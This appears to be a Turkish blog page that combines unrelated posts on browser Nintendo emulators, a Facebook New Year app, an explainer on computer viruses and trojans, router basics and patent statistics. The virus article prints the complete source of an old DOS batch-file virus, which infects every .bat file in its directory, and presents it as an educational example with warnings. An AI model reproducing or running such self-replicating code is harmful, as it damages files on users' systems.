Efsane oyunlar tarayıcıda!

Super Mario, Donkey Kong gibi klasik Nintendo oyunlarını web tarayıcınızda oynamaya ne dersiniz?

Bir klasik haline gelen Nintendo NES ve SNES konsollarına yönelik binlerce oyunu web tarayıcınıza getirmeye ne dersiniz? NESbox ve SNESbox, Zelda, Super Mario ve Donkey Kong gibi tüm Nintendo klasiklerini PC’nizin ekranına taşıyor.

Klasik Nintendo oyunlarını oynayabilmek için herhangi bir dosya indirmenize ve kuruluma ihtiyacınız yok. Tek gereksiniminiz, web tarayıcınızın Flash içeriklerini oynayabiliyor olması. Çevrimiçi emülatörler, çoklu oyuncu moduna sahip (S)NES oyunlarını internetten arkadaşlarınızla oynamanıza bile izin veriyor. Her oyunda kullanabileceğiniz, sayfanın altında bulunan canlı sohbet işlevi sayesinde kendinize rakip bulmanız kolaylaşıyor. Çok oyunculu oyunlarda yapmanız gereken basit: Size sunulan eşsiz bağlantıyı arkadaşlarınızla paylaşmak.

Klavye ile kontrol edebildiğiniz emülatörler, GamePad yoluyla da denetlenebiliyor.

Reklamlar

2013 yılına saatler kala

Bu yıl son!


Facebook’un bu yıl ki son uygulaması yeni yıla özel!

Facebook, tam yeni yıla girdiğimiz ilk dakikalarda sevdiklerine otomatik olarak mesaj göndermek isteyenler için bir uygulama geliştirdi.

“Midnight Message Delivery” isimli bu uygulamada bu link üzerinden sevdiklerinizi unutmadığınızı dile getirebiliyor yeni yıl tebriklerinizi iletebiliyorsunuz.

Vırusler Hakkında Bılgıler


Virusler Hakkında Bilgiler

Virüs nedir diye konumuza başlıyorum sevgili bilgisayar kulanıcıları virüsler bilgisayar ortamlarına kaçak olarak giren küçük programlardırsisteme girdiklerinde coğalırlar ve tüm sistemi ele geçirirler virüsler kimilerine göre canlıdır çünkü yapay zekaları oldukları ve üreme iç güdüleri oldugundan canlı oldukları düşünülür
tabi bu tartışılır biz Kaos Team olarak bu yazıda bahsedecegiz virüslerden nasıl korunuruz veya nasıl kurtuluruz.konuya girmeden önce virüsler hakında bilgi edinelim böylece bulaşma yolarınıda
ögrenebiliriz.

herhangi bir yazılımın virüs olabilmesi için en az şu kriterleri saglaması gerklidir:
1.çalıştırılabilir olmalı
2.kendi kendilerine cogalması
3.diger çalışabilir opjeleri kendi kolanisine çevirebilmesi
Bir bilgisayar virüsü yazamk çok kolaydır aşagıda verdigimiz virüsün
kaynak kodudu (batch file virüs)nün kaynak kodudur bu yazılım ms-dos işletim sisteminin bacth file yazılmıştır
bu bir virüs yazılımıdır yalnızca virüslerin komutlarından oluşan bir yazılımı oldugunu göstermek amacıyla verilmiştir
lütfen şaka amaçlada olsa bu yazılımı kimseye uygulamayınız zaten her virüs koruma programı
tanıya bilmekte eski bir virüs yazılımıdır.

KAOS TEAM (BFV) KAYNAK KODU

echo The Batch Filr Virus (BFT.BAT)
echo Osborne/McGraw-Hill “Computer Virıs Handbook“ kitabından
echo -Bu purogram, bilgisayar virislerinin nasıl çalıştıklarını ve
echo bir bilgisayar virisinün ne kadar kolay oldugunu
echo gostermektedir.
echo -Bulunulan dizin:
cd
echo –
echo UYARI! BU PROGRAM, BULUNULAN DİZİNDEKİ BÜTÜN .BAT DOSYALARINA
echo BULAŞIR. BULAŞTIGI .BAT DOSYALARI DİGER .BAT DOSYALARINI DA
echo ETKİLER! BU PROGRAMI ÇALIŞTIRMAKLA BÜTÜN .BAT DOSYALARINIZI
echo BOZABİLİRSİNİZ!
echo –
echo Lütfen bu programı çalıştırmadan önce bütün .BAT dosyalarınızı
echoyedekleyiniz. Eger nasıl yedekleme yapılacagını bilmiyorsanız
echo bu programı çalıştırmayın.
echo –
echo Yukardaki açıklamaları anladıysanız devam etmek için
echo herhangi bir tuşa; programdan çıkmak için ^C tuşlarına basınız.
pause > nul
cls
echo Bulunulan dizin
cd
echo Dizindeki bütün .BAT dosyalarına bulaşıyorum…
ctty nul
for % %f in (*.bat) do copy % % f + bfv.bat
ctty con
cls
echo Bu dizindeki bütün .BAT dosyalarına Batch File Virüsü
echo bulaşmıştır. Bu virüsü temizlemek için yedeklediginiz .BAT
echo dosyalarını yerlerine kopyalayınız.

Şimdi virüs çeşitlerini sıralıyacaz

Kullandıkları teknikler çok çeşitli olsa da, virüsler pratikte kabaca Dosya ve Boot virüsleri olarak ikiye ayrılırlar. Virüs deyince genelde akla ilk gelen dosya virüsleridir. Ama sık rastlanan birçok virüsün boot virüsü olduğunu da hatırlatmakta fayda var. Bir Cansu’yu, Crazy Boot’u, eskilerden Ping-Pong’u kim unutabilir ki?
Boot Virüsleri. Disketlerin ve sabit disklerin boot sektörlerine yerleşirler. Bilgisayar açıldığında veya sıfırlandığında (‘reset’lendiğinde) disketin veya sabit diskin boot sektöründeki yükleyici program otomatik olarak çalıştırılır. Daha sonra işletim sistemi yüklenir ve bilgisayar normal kullanıma başlanır. Boot virüsleri, boot sektöründeki yükleme programında değişiklik yaparak kendilerini otomatikman çalıştırırlar. Böylece aktif hale gelirler ve bilgisayar kapatılana kadar bulaşmaya devam ederler.

Dosya Virüsleri. Dosya virüsleri genelde virüs deyince akla gelen virüs türüdür. Bunlar birer asalak gibi kendilerini programın sonuna eklerler. Programın başında da değişiklik yaparak, program çalıştırıldığında ilk önce kendileri çalışırlar. RAM belleğe bir TSR gibi yerleşirler ve bilgisayar kapatılana kadar bulaşmaya devam ederler. Genelde EXE ve COM’lara bulaşırlar. Bazılarının SYS, OVL ve BIN gibi program kodu dosyalarına bulaştığı da görülmüştür. Çoğu yalnızca çalıştırılan program dosyalarına bulaşmakla birlikte, Yandan Çarklı virüsü gibi olanları çalıştırılmayanlara da bulaşırlar.

Virüsümsüler. Virüslere benzeyen fakat virüs olmayan birçok program türü vardır. Bunların ortak özelliği bilgimiz dışında çalışmalarıdır. Örneğin bombalar; bir program yazılırken içine konur. Belli bir zamanda veya bazı şartların oluşmasına bakarak bilgisayar sistemine zarar verirler. Bombaların benzeri truva atlarıdır. Bunlar da programlara yerleştirilirler ve belli koşullar gerçekleştiğinde veya bir koşula bağlı olmaksızın daha ilk çalıştırılmada zarar verirler. Truva atları daha yaygın programlara yerleştirilirler. Ne bombalar ne de truva atları bulaşamazlar. Bu yüzden virüs değillerdir. Diğer “virüsümsüler”, networklerde kullanıcı şifrelerini öğrenmek için kullanılırlar. Öğrendikleri şifreleri sahiplerine bildirirler. Bunlara bukalemun adı verilir.
turuva atı (trojan)

Özellikle güvenliği sadece kullananın becerisine kalmış kişisel
bilgisayarlara karşı kullanılan ve uzaktan erişim olanağı sağlayan
programlardır Trojanlar. Netbus ve sonrasında türeyen birçok trojan
programının kendine has birçok özelliği var. Tam anlamıyla çalıştırılan
makineyi kontrol altına alabilen trojanlardan işlevleri daha az olanlarına
kadar şu an İnternet üzerinde dolaşan birçok program var. Bunların en meşhuru
: Subseven 2.1. Artık neredeyse kendi başına bir yazılım sektörü oluşan
trojanların kendilerine göre versiyon ve güncellemeleri bile var.
Öyle ki McAffee Network Associates firması,
Subseven için “yüksek risklidir” demecini veriyor.
Aslında kısa sürede gelişen virüs ve trojan piyasasına
kimi virüs programı üreticilerinin içten içe destek verdiği paranoyasındayız.
Düşünsenize camcı, cam kırılmazsa iş yapamaz eğer onun camları indiren bir afacan oğlu yoksa.

Virüs nedir ? Trojan (Truva ati) nedir ?
Virüsler, kendi kodlarini baska programlara veya program niteligi olan dosyalara bulastirabilme özelligi olan (kendi kodunu kopyalayabilen) bilgisayar programlaridir.Bulastiklari bilgisayarda genelde hizli bir sekilde yayilirlar.Belli bir amaca yönelik olarak yazilmis, zarar vermeye yönelik olabilecekleri gibi eglence amaciyla da yazilmis olabilirler.
Truva atlari, virüslerden oldukça farkli bir yapiya sahiptir.Asla baska programlara bulasmazlar.Belli olaylara bagli olarak tetiklenen bir rutindirler.Kendilerini kopyalayamadiklari için bazi programlarin içine bilinçli olarak yerlestirilirler.Trojanlar, ilgi çeken, utility gibi programlarin içine yerlestirilirler.Trojan kodu, trojanin içine gizlendigi programin yazari tarafindan yazilmis olabilecegi gibi sonradan da programa eklenmis olabilir.Trojanlar aslinda kopya koruma amaciyla hazirlanirlar.
Virüsler çogunlukla Assembly gibi düsük seviyeli bir programlama dili ile yazilirlar.Bunun asil 2 sebebi vardir.
1- Assembly’in çok güçlü bir dil olmasi:
2- Yazilan programlarin derlendikten sonraki dosya boylarinin çok küçük olmasi

Bu özelliklerin her ikisi de virüs yazarlarinin assembly dilini kullanmasi için yeterli ve gerekli sebeplerdir.
Virüsleri özelliklerine göre siniflandirmak pek mümkün olmasa da asagidaki sekildeki gibi bir siniflandirma yapmak yanlis olmayacaktir.Ancak pek çok virüs, pek çok özelligi bünyesinde barindirabilir.Bulasma hizini arttirabilmek amaciyla yapilan bu durum sonucu virüs, boot sektörlere, mbr kayitlarina, programlara bulasabilir. Simdi de bu virüs türlerinin isleyislerine bakalim
1 – Disk virüsleri : a- Boot b- MBR
2 – Dosya virüsleri : a- Program (TSR ve nonTSR) b- Makro virüsleri
3- FlashBIOS virüsleri

1 – DiSK ViRÜSLERI
Disk virüsleri, adindan da anlasilacagi üzere, disk ve/veya disketler üzerinde isletim sistemi için özel anlami olan bölgelere (boot sektör, MBR) yerlesen virüslerdir. Disk virüsleri, hakkinda en çok yanlis bilginin oldugu virüs türüdür.Boot ve MBR virüsleri, asagida da göreceginiz gibi isletim sisteminden önce hafizaya yüklenir.Bu yüzden isletim sistemini kolaylikla atlatip, Yukaridaki sekilde de görülecegi gibi disk virüslerini boot ve MBR (partition) virüsleri olarak 2 gruba ayirabiliriz.
BOOT Virüsleri
Boot virüslerinin ne olduguna geçmeden önce boot sektör nedir, disk üzerinde nerede bulunur, önce bunlara bir bakalim; Boot sektör, bir diskin veya disketin isletim sistemini yüklemeye yarayan 1 sektör (512 byte) uzunlugundaki bir programdir.Boot sektörler, disketlerde 0.ci iz, 0.ci kafa,1.ci sektör üzerinde bulunur. Hard disklerde ise boot sektörü 0.ci iz, 1.ci kafa ve 1.ci sektör üzerinde bulunur.Boot sektör, açilis için gerekli sistem dosyalarinin yükleyen programdir.Ayni zamanda disk (veya disket) ile ilgili bilgileri saklar.DOS buradaki bilgileri kullanarak cylider hesaplarini yapar.
Nornal kosullarda, bilgisayari baslatabilecek durumdaki bir sistem disketini (virüssüz) sürücüye takip bilgisayari açtigimizda, bilgisayar ilk olarak disket sürücüye bakar.Eger sürücüde bir disket var ise bu disketin boot sektörü hafizanin 0000:7C00 (hex) adresine okunur ve okunan boot sektör çalistirilir.Boot sektör, isletim sistemini yükleyerek denetimi isletim sistemine birakir.Eger bilgisayari boot edecek disket bir boot virüsü içeriyorsa o zaman durum degisir.Bilgisayar, boot sektörü yine 0000:7C00 adresine okur ve akisi bu adrese yönlendirir.Disketten okunan boot kaydi, yapi olarak degistiginden dolayi, 0000:7C00’daki kod virüsü hafiza içine yükleyip, hafizadaki konumunu garanti altina alacaktir.Virüs aktivitesi için gerekli interrupt servislerini de kontrol altina aldiktan sonra orjinal boot kayidini okuyarak isletim sisteminin yüklenmesini saglayacaktir.
MBR (Partition) Virüsleri
MBR virüsleri esas olarak, boot virüslerinden pek de farkli degildir.Ancak can alici bir nokta vardir ki, bu boot ve mbr virüsleri arasindaki en önemli noktadir. Hard diskler kapasite olarak çok farkli ve büyük kapasitede olduklarindan diskin DOS’a tanitilmasi amaciyla MBR – Master Boot Record (Ana açilis kaydi) denilen özel bir açilis programi içerirler.Bu kod diskin 0.ci iz, 0.ci kafa ve 1.ci sektörü üzerinde bulunur.Yani disketlerde boot sektörün bulundugu konum, hard diskler için MBR yeridir.Master boot record, hangi disk partitionundan bilgisayarin açilacagini gösterir.Bu yüzden çok önemlidir.Eger bilgisayar hard diskten boot ediliyorsa, o takdirde mbr ve partition table okunur.Aktif partitiona ait boot sektör okunur.Bundan sonrasi boot sektör kismindaki sistemin aynisidir.
2 – DOSYA ViRÜSLERi
Dosya virüsleri açikça anlasilacagi gibi hedefi dosyalar olan virüslerdir.Dosya virüsleri çogunlukla COM, EXE, SYS olmak üzere OVL, OVR, DOC, XLS, DXF gibi degisik tipte kütüklere bulasabilirler.
Makro virüsleri
Makro virüsleri Word, Excel gibi programlarin makro dilleri ile (mesela VBA – Visual Basic for Applications) yazilirlar.Aktif olmalari bazi uygulamalara (word, excel vs) bagli oldugundan program virüslerine oranla çok daha az etkilidirler.
Program virüsleri
(Not : Program virüsleri ile ilgili açiklamalar ileride detayli olarak anlatilacaktir).
Program virüsleri, DOS’un çalistirilabilir dosya uzantilari olan COM ve EXE türü programlar basta olmak üzere SYS, OVL, DLL gibi degisik sürücü ve kütüphane dosyalarini kendilerine kurban olarak seçip bu dosyalara bulasabilirler.Dosya virüsleri bellekte sürekli kalmayan (nonTSR) ve bellekte yerlesik duran (TSR) olarak 2 tipte yazilirlar.
nonTSR (Bellekte sürekli kalmayan) virüsler
Bellekte sürekli olarak kalmazlar.Kodlari oldukça basittir.Bellekte sürekli kalmayan virüsler sadece virüslü bir program çalistirildiginda baska programlara bulasabilirler.Virüslü program çalistirildiginda programin basinda program kontrolünü virüs koduna yönlendirecek bir takim komutlar bulunur.Virüs kontrolü bu sekilde ele aldiktan sonra virüs kendisine temiz olarak nitelendirilen virüssüz programlar aramaya koyulur.Buldugu temiz programlarin sonuna kendi kodunu ekler ve programin basina da virüsün kontrolü ele alabilmesi için özel bir atlama komutu yerlestirir ve kendisine yeni kurban programlar arar.Virüs bulasma isini bitirdikten sonra çalistirmak istedigimiz program ile ilgili tüm ayarlari düzenleyerek kontrolü konak programa devreder.
TSR (Bellekte sürekli kalan) virüsler
TSR virüsler yapi olarak TSR olmayan virüslerden çok farklidir.TSR virüsler, 2 temel bölümden olusurlar.1.ci bölüm; Virüsün çalismasi için gerekli ayarlamalari yapar ve TSR olacak kodu aktiflestirir.2.bölüm TSR olan kodun kendisidir ve TSR virüslerin hayati önemdeki bölümüdür.Bu tip virüsler, çalismak için sadece TSR olmakla kalmazlar.Ayni zamanda çesitli Interruptlari (kesilmeleri) kontrol altina alirlar.Böylece DOS üzerinden yapilan islemleri bile kontrol altina alabilirler.Örnek vermek gerekirse; TSR bir virüs DIR, COPY gibi DOS komutlari ile yapilan -daha dogrusu yapilmak istenen- islemleri kontrol altina alabilir.Kullanici DIR komutunu kullandiginda dosya boylarinin 0 olarak gösterilmesi, dosya boylarinin eksik gösterilmesi gibi islemler TSR bir virüs için çok kolaydir.
3 – FlashBIOS Virüsleri
FlashBIOS virüsleri tekrar yazilabilir özellikteki BIOS chiplerine bulasirlar.
ViRÜSLER NELERi YAPABiLiR, NELERi YAPAMAZ ?
Virüslerin neleri yapip neleri yapamayacaklari konusu en çok ilgi çeken, üzerinde en çok konusulan konulardan birisidir. Çünkü bir virüs, yaptiklariyla anilir ve bilinir.Virüserin en çok korkulan etkilerin basinda gelenler sunlardir:
BIR VIRÜS BILGISAYARDAN SILINDIKTEN SONRA KENDI KENDINE TEKRAR ORTAYA ÇIKIP ETKINLESEBILIR MI ?
Hayir.Bir virüsün temizlenmesinden sonra durduk yerde yeniden peydahlanmasi dogru degildir.Eger bir antivirüs programi ile sisteminizden virüsü temizlemenize ragmen virüs tekrar ortaya çikiyorsa 2.durum sözkonusu olabilir.
1- Antivirüs, virüsü temizleyemiyor olabilir.Amatör programcilarin yazdiklari shareware olarak dagitilan antivirüs programlarindan birini kullaniyorsaniz bu durumla karsilasmaniz olasidir.Bunun pek çok sebebi olabilir.Örnegin antivirüs, virüsü baska bir virüsle karistiriyor olabilir.Imza tarama esasina göre çalisan antivirüslerde ortaya çikabilecek bu sorun genellikle iki virüsün birbirinin varyanti (üzerinde küçük degisiklikler yapilmis biçim) olmasindan kaynaklanir.Bir veya birkaç virüsü temizlemek için hazirlanmis eski antivirüs programlarinin o virüsün yeni bir varyantinin temizlenmesi amaci ile kullanilmasi sonucu da ortaya çikabilir.Mesela; elimizde bir programcinin 4 yil önce yazdigi xx virüsünün antivirüs programi olsun.1 yil önce ortaya çikan xx virüsünün bir varyanti olan xx.a gibi bir virüsü temizlemek istersek muhtemelen tarama imzalari ayni veya benzer yapida olacagindan bu tür bir sorun ile karsilasabiliriz.Bunun sonucu olarak virüs uzunlugunun farkli olusundan dolayi yanlis isimle bile olsa tespit edilir ancak temizlenemez.Bu durumda antivirüs kullaniciyi yeni bir virüsle karsilastigini belirten bir mesaj ile uyarir.
2- Bir yerlerde temizlemeyi unuttugunuz birkaç virüslü dosyaniz kalmistir.Virüs taramalarinda taramayi unuttugunuz disketleri kullanirsaniz ve disketteki programlar virüslü ise siz farkina varmadan virüs tekrar sisteminize bulasacaktir.Virüs taramasi yaparken sahip oldugunuz tüm disk ve disketleri virüs taramasindan geçirin.Ancak bu sekilde virüslerden kurtulabilirsiniz.
Burada belirtmek isterim ki, bu iki durumdan 2.sinin olmasi daha muhtemeldir.Birinci durumun gerçeklesme ihtimali çok azdir.
VIRÜSLER VERI DOSYALARINA ZARAR VEREBILIR MI ?
Evet, kesinlikle verebilir.Özel bir veya birkaç dosya türünü hedef alan virüsler, bu tür dosyalara silebilir veya içlerindeki veriyi degistirebilir, dosyanin yapisini bozabilir.Örnegin yerli virüslerden Trakia.653 virüsü AutoCAD’in DXF ve DWG uzantili dosyalari hedef almakta ve bu kütüklerin yapisini bozarak islenemeyecek hale getirmektedir.Trakia.560 virüsü bazi dosyalari silmektedir.Ancak bu tür etkiler virüsün farkedilmesi kolaylastiracagindan pek tercih edilmezler.
ViRÜSLER YAZMA-KORUMALI DiSKETLERE BULASABiLiR Mi ?
Disketlerin yazma korumasi yazilimla kontrol edilen bir sistemdir ve bu sistem asilabilir.Ancak yazma korumasini kapatmak virüs içinde ekstra kod anlamina gelir.Eksta kod, virüsün boyunu uzatacak ve virüsün farkedilmesini kolaylastiracaktir.Bu yüzden uygulanan bir yol degildir.Virüsler, yazma korumasini kapatmak yerine yazma korumasini kontrol edip koruma varsa bulasmamayi tercih ederler.
VIRÜSLER CMOS’A BULASABILIR MI ?
Herhangi bir virüsün CMOS alanina bulasmasi mümkün degildir.Hatta imkansizdir.CMOS bellek kapasitesi üretici firmaya bagli olarak 128 veya 256 bayttir.Bu alan virüsün ihtiyaç duyacagi bellegin çok altindadir.Kaldi ki CMOS, setup parametrelerinin saklandigi bir veri alanidir.Ancak virüsler setup parametlerini degistirebilirler.
VIRÜSLER DONANIMA ZARAR VEREBILIR MI ?
Eskiden kismen, günümüzde hayir.Eski MDA (mochrome display adapter – tekrenkli görüntü bagdastiricisi) ekran kartlarina bir komut serisi yollanarak MDA kartlar yakilabilir.Ancak MDA kartlar çoktan tarih oldugundan artik bunun pek önemi de yok.
Eski disklerin okuma/yazma kafalarinin ani hareketlerle hareket ettirilmesi sonucu diskin bozulmasini saglamak mümkündü. Artik günümüzde ise disklerin cacheleri sayesinde bu tür hareketler disk tarafindan engellenebiliyor ve disklerdeki kafalar manyetik bir esasa göre çalisiyor.Bu sayede elektrikler kesilse bile disk zarar görmeden kafalar park ediliyor.
Bir de disk üzerinde bir bölgenin milyonlarca kez formatlanmasi durumu var.Bu islem sonunda disk üzerindeki manyetik malzeme zarar görecek, disk okunamaz duruma gelecektir.Bu islemin partition table üzerinde yapildigini düsünürsek diski kaldirip çöpe atmaktan veya disk kasasini açip raf süsü olarak kullanmak disinda geriye pek bir sey kalmaz.Ancak hemen belirteyim ki bu formatlama islemi oldukça uzun sürecektir.Bir virüsü diski milyonlarca kez formatlamak isterse, kullanici bilgisayarin kilitlendigini düsünecek ve resetleyecektir.Sonuçta virüs amacina ulasamamis olacaktir.
Eger Windows95/98/NT gibi bir isletim sisteminin çalistigi bilgisayarlarda windows direkt disk erisimlerini mümkün oldugunca engellemeye çalisir.
VIRÜSLER V-SAFE, VIRSCAN, GUARD GIBI KORUMA PROGRAMLARINI ATLATABILIR MI ?
Yeni bir virüs veya çok iyi yazilmis bir virüs bu tür programlari safdisi edebilir.Ancak koruma programlari virüslü programi daha çalismadan önce test ettiklerinden bu düsük bir ihtimaldir.Virüsler, bu tür programlari aktivitelerinin rapor edilmesinin engellemek için atlatmak ister.

ROUTER NASIL ÇALIŞIR?


ROUTER NASIL ÇALIŞIR?
Merhaba arkadaşlar hemen konumuza girmek istiyorum..Internet-Router başarılı bir şekilde kurulursa ev veya ofisteki tüm bilgisayarlara Internet’in kapısını açıyor. Ama şu anki sisteminizden vazgeçmeden önce iyi bir araştırma yapmanız gerekiyor. Çünkü birçok masraftan kurtulacaksınız ama yenileriyle karşılaşacaksınız, ayrıca ağınızdaki problemlerden de kurtulacaksınız.

 500 doların altında fiyatlara satılan routerlar ile yerel ağınızdaki makineleri hiçbirine modem yada ISDN kartı takmadan Internet’e bağlayabiliyorsunuz.çünkü telefon ağına bağlantı işini router yapıyor. Bu akıllı cihazlar teknik olarak ağlar arsındaki bağlantıları gerçekleştiren cihazlar olarak biliniyor. Görevleri local ağdaki herhangi bir makineye yönlenmiş olan veri paketini toplamak. Eğer bağlantı yoksa router servis sağlayıcı seçip arıyor ve isim-şifre girerek Internet’e bağlantıyı sağlıyor. Daha sonrada veri paketlerini taşıması için servis sağlayıcıya veriyor. 
ROUTER İLE ÇOKLU AĞ BAĞLANTILARI
 Router’ın bağlantı mantığına göre tek bir servis sağlayıcı olma zorunluluğu yok.Aynı şekilde tek bir bağlantı şartı da yok Router verinin ulaşacağı adrese göre seçim yapabilir.”Routing-table” adı verilen bir tabloda tutulan yollara göre ağlardaki grupların istedikleri yerlere nasıl ulaşacakları belirlenmiş.Altenatiflerde yine aynı tablolarda sabit bir şekilde tutuluyor . aynı tablolama mantığında her bilgisayar kendi adına da faydalanıyor.başka bir bilgisayara mı yoksa bir ağ geçidine mi verileri yönlendireceğini bu tablolara bakarak kararlaştırıyor.
En önemli avantaj birden fazla bağlantının aynı anda desteklenmesidir. Bir taraftan Internet’e bağlanılırken diğer taraftan birçok grup ve ağ doğrudan erişilebilir oluyor. Bağlantı noktaları için şifre ve isimlerden oluşan farklı profiller bulunuyor ve tabi ki birde özel ağ adresi. Diğer ağ adresleri ise servis sağlayıcı çıkışını göstermeli. Böylece router hafızasındaki tablo aracılığıyla paketleri nereye göndereceğini kolayca bulabilmelidir. ISDN-router’ların bir özelliği de ISDN bağlantısının her iki kanalını da aynı anda aktif tutabilmeleri. Bir grup Internet’e bağlı iken bir diğer grup da Internet bağlantısı hazırlayabilir.
“Routing-table” adı verilen tablolar aslında birden fazla işlere sahiptir. Alternatif yollar da hazırlayabiliyorlar. Bunun anlamı bir adres bölgesine ulaşmak için birden fazla bağlantı noktasının olduğudur. Bunun avantajı da eğer bir bağlantı koparsa veya çok yüklü ise diğer yolların paketi yerine ulaştırmak için denenecek olmasıdır.
MASKELEME YARDIMA YETİŞİYOR
Bilgisayarı ile servis sağlayıcı üzerinden Internet’e bağlananlar her seferinde farklı bir IP adresi alırlar.Adres,kullanıcıya servis sağlayıcı tarafında adres havuzundan dinamik olarak sağlanır.Router üzerinden Internet’e çıkan birden fazla makine varsa ortaya bir sorun çıkmaktadır:Birçok bilgisayar için sadece bir IP adresinin bulunması.Örneğin bir kullanıcı bir Web sayfasına erişmek isterse Router’ın gelen paketi hangi istasyona yönlendireceği konusunda karar vermesi zorlaşıyor.
Bu sorunun çözümü port adreslerindedir.Tüm IP paketleri sadece gönderenin ve alıcının IP adreslerini değil,her iki tarafın port adreslerini de taşıyor.Hedef portu paketin Server’a hangi görevle geldiğini bildiriyor.Eğer bir www servisi söz konusuysa 80 numaralı,e-mail ise 110 numaralı port kullanılıyor.
Yardımcı port da her zaman gereklidir.Örneğin iki Browser  penceresi(aynı Browser) açıksa,aralarında bir fark olmalı ki cevap doğru pencereye gelsin.Tüm Internet uygulamaları her yeni bir bağlantıda bilgisayarın TCP/IP sisteminden henüz  kullanımda olmayan yeni bir port ister.Bu yeni portun adresi karşı tarafa da bildirilir.yeni bir bağlantı kurulmasına sebep olur ve kendine ait bir adresi olur.
Router,gönderenin port numarasını yerel ağdan farklı istasyonlardan  gönderilen veri paketlerini ayırt etmek için kullanılır.Kural olarak 60.000 numaralı porttan sonrasını kullanıyor ve bir tabloda belirlediği düzene uyuyor.
Eğer ağdaki iki istasyon aynı Web Server üzerinde geziyorlarsa, Server için bir bilgisayar iki ayrı bağlantı kurmuş gibi görünür. Server dan çıkan paket içindeki port numarasına göre tanıyıp,ait olduğu bilgisayara gönderiliyor.Yani dahili IP adresine doğru istasyona yönlendiriliyor.
IP maskelemenin küçük ağların güvenliği için bir faydası daha var.İşlem  her zaman aktif olduğu bilgisayardan aktif duruma getiriliyor.Programlama hatası yüzünden bir uygulama da teorik olarak bir arka kapı(Backdoor:Karşı tarafın bilgisayara sızabileceği hatalı bir yan) bile varsa(örneğin port 4711) , kötü niyetli kullanıcı ancak uygulama daha önceden bir bağlantı kurmuşsa istasyona erişebilir.Pasif bir makine etkilenmez.Tek tehlikeli durum bir truva atının tüm güvenlik kordonunu kırmasıdır.
BAĞLANTI SÜRESİ İLE DOĞRU ORANTILI ÜCRETLER
     Eğer router sürekli olarak ağa bağlantı kuruyorsa hata aramak gerekiyor. Ağa kullanıcılarından hiçbiri Internet uygulaması çalıştırmadığı halde, router bunu yapıyorsa kesinlikle bir sorun var demektir. Çünkü Windows 95/98  ağ yapısının aksine, router sürekli olarak ağ bağlantılarını tazelemez. Yerel ağdan herhangi bir IP paketi alırsa ve bunun Internet’e yönlenmiş olduğunu düşünürse router bağlantı kurar.
Yanlış ayarlanmış bir router eğer dikkat edilmez ise telefon ücretlerini yukarıya çekebilir. Birçok router bu gibi durumlar için bir özelliğe sahiptir. Haftalık veya aylık olarak ayarlanabilen belli ücretler söz konusudur. Baştan belirlenen ücret aşılınca router çalışmaz. Tabi ayarlardan ücret hesaplanması açılmış ve kontör ücreti ile kontör süreleri girilmiş olmalıdır.
Eğer router sürekli olarak beklenmedik zamanlarda Internet’e bağlantı kuruyorsa, bunun birçok farklı sebebi olabilir.bunlar basit sebepler olabileceği gibi, çok zararlı sonuçlara da sahip olabilirler. Bunlardan kolayca engellenebilecek olanlar  posta uygulamalarıdır. Uygulama her yarım yada saatte bir yeni posta olup olmadığını kontrol ediyor olabilir.
Bir başka sebep de sabit diskte daha önceden kaydedilen HTML dokümanlarının açılması olabilir. Eğer sayfanın içeriğinde yerel olarak kayıtlı olmayan grafikler. Applet’ler veya başka nesneler varsa, Browser Internet’e bağlanıp. Bunları tamamlamaya çalışır. Engellemenin çok kolay. Ama yine aynı kolaylık içinde gözden kaçan bir yolu vardır. Browser’ı “”Off-line” modda çalıştırmak gerekiyor. Bu özellik sadece Browser’larda değil, hemen hemen tüm Internet uygulamalında bulunuyor. Internet2e bir sonraki bağlantıya kadar uygulama Internet’e erişemiyor.
KADEME KADEME HATA ARAMA
Hata arama özellikle istenmeyen bağlantıların protokoller veya görevler tarafından kurulması durumunda zorlaşıyor. Sebep, bağlantının bir programın başlatılması ile ortaya çıkmamasıdır. Bu sorunlar büyük ihtimalle Router yokken, yani ağın dışarıya erişimi yokken varolan sorunlardır.
Bu noktada tek yardımı “trace” adı verilen yöntemler sağlayabilir. Veri trafiğinin çok iyi tabi ki Router’ın tüm hareketleri kaydetmesi olarak özetlenen yöntem, ekrana durum mesajları göndererek çalışıyor. IP paketlerinin alınması PPP bağlantılarının kurulması gibi Router’ın yaptığı çeşitli hareketler gözlemlenebilir.
Ayrıca tarafların IP adresleri, port numaraları gibi bilgilerde ediniliyor. Bu bilgilerden ağdaki hangi makinenin Internet’e bağlanmaya çalıştığı ve ne amaçla bunu istediği anlaşılır. Port numarasından çoğu zaman “gizli” görev tespit ediliyor. Eğer görevin sahibi makine bunu engelleyemiyorsa, zorlamalı metot kullanılabilir. Router ayarlarından sorulan IP adresini ve/veya portu kapatmak mümkündür. Eğer makine aynı bağlantıyı yine gerçekleştirmek isterse, Router bunu engelleyecektir.

Türklerin patent başvuruları arttı

Destek Patent, 2012 yılında gerçekleşen ve Türk Patent Enstitüsü (TPE) tarafından yayınlanan patent başvurusu rakamlarını değerlendirdi.





2012 yılında patent başvurusu sayısı geçtiğimiz yıla oranla yüzde 10 artış kaydetti. Türkiye’de yerli ve yabancı şirketlerin patent başvuru sayısı 2011 yılında 10 bin 241 adet olurken 2012 yılında ise bu sayı 11 bin 500 adete ulaştı. 2006 yılında başvuru sayısı 5 bin 136 adet olarak gerçekleşirken 2023 yılına gelindiğinde ise bu sayının yaklaşık 10 kat artarak 55 bini geçmesi bekleniyor.

Dünya pazarlarında rekabet
Destek Patent Yönetim Kurulu Başkanı Kemal Yamankaradeniz, “Türkiye’de ve dünyada rekabet edebilmenin ölçüsü sahip olduğunuz patent sayısı ile doğru orantılıdır. 2012 yılında yaşanan bu hızlı gelişme Türkiye’nin dünya pazarlarında rekabet edebilmesi için önemli bir adımdır.” dedi. Türkiye’nin sürdürülebilir bir gelişimi ve büyümeyi yakalamasının önemine dikkat çekerek, yakalanan büyümenin sevindirici olması yanında, halen yetersiz olduğu görüşünü savunan Yamankaradeniz, “Şirketlerimizin bu vizyonu artarak devam etmeli. 2012 yılında yakalanan bu rüzgârı doğru kullanarak Ar – Ge ve inovasyon alanına daha çok yatırım yaparak hızlı hareket etmemiz gerekiyor.” şeklinde konuştu.

Türkiye patentle büyüyecek
